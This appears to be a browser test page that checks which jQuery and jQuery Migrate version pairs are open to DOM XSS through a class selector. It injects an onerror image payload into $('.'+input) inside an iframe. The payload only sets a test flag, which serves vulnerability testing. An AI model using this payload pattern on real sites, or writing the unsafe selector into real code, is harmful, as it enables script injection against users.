jQuery Migrate DOM XSS $(".<XSS>") [Class selector] (new)

• Chrome
• Firefox

					
var jQuery_version = '';
var Migrate_version = '';
function vulnerable(){
	addError('jQuery '+ jQuery_version, 'jQuery Migrate ' + Migrate_version, '<b>Vulnerable</b>');
}

function safe(){
	addSuccess('jQuery '+ jQuery_version, 'jQuery Migrate ' + Migrate_version, 'Safe');
}
	
function removeIframe(){
	var x = document.getElementById('jQueryFrameID');
	x.parentNode.removeChild(x);
}


function test(data){
	try{
	    console.log(data)
	    
		jQuery_version = data.substring(0,data.indexOf(":"));
		Migrate_version = data.substring(data.indexOf(":")+1,data.length);
		
		var jQueryFrame = document.createElement('iframe');
		jQueryFrame.id = 'jQueryFrameID';
		var exploitHTML = '<script src="//ajax.googleapis.com/ajax/libs/jquery/'+ jQuery_version.toString() +'/jquery.js"><\/script><script src="https://code.jquery.com/jquery-migrate-'+ Migrate_version.toString() +'.js"><\/script><script>locationtest="<img src=s onerror=tst=1>";var tst=0;$(function(){$("."+locationtest)});setTimeout("if(tst==1){parent.vulnerable()}else{parent.safe()};parent.removeIframe()",1000)<\/script>';
		document.body.appendChild(jQueryFrame);
		iframeDoc = jQueryFrame.contentDocument || jQueryFrame.contentWindow.document;
		iframeDoc.open();
		iframeDoc.write(exploitHTML);
		iframeDoc.close();
		
	}
	catch(err){
		addInfo(jQuery_version , Migrate_version,  'Some Error Occured: ' + err);
	}
}

					
				

					
var jquery = ['2.0.3', '2.0.2', '2.0.1', '2.0.0', '1.10.2', '1.10.1', '1.10.0', '1.9.1', '1.9.0', '1.8.3', '1.8.2', '1.8.1', '1.8.0', '1.7.2', '1.7.1', '1.7.0', '1.6.4', '1.6.3', '1.6.2', '1.6.1', '1.6.0', '1.5.2', '1.5.1', '1.5.0', '1.4.4', '1.4.3', '1.4.2', '1.4.1', '1.4.0', '1.3.2', '1.3.1', '1.3.0', '1.2.6', '1.2.3'];
var Migrate = ['1.4.0', '1.3.0', '1.2.1', '1.2.0', '1.1.1', '1.1.0', '1.0.0']
var data = [];
var d = 0;

for(var i in jquery){
	for(var ii in Migrate){
        data[d] = (jquery[i] + ":" + Migrate[ii]);
        d++;
        
    }
}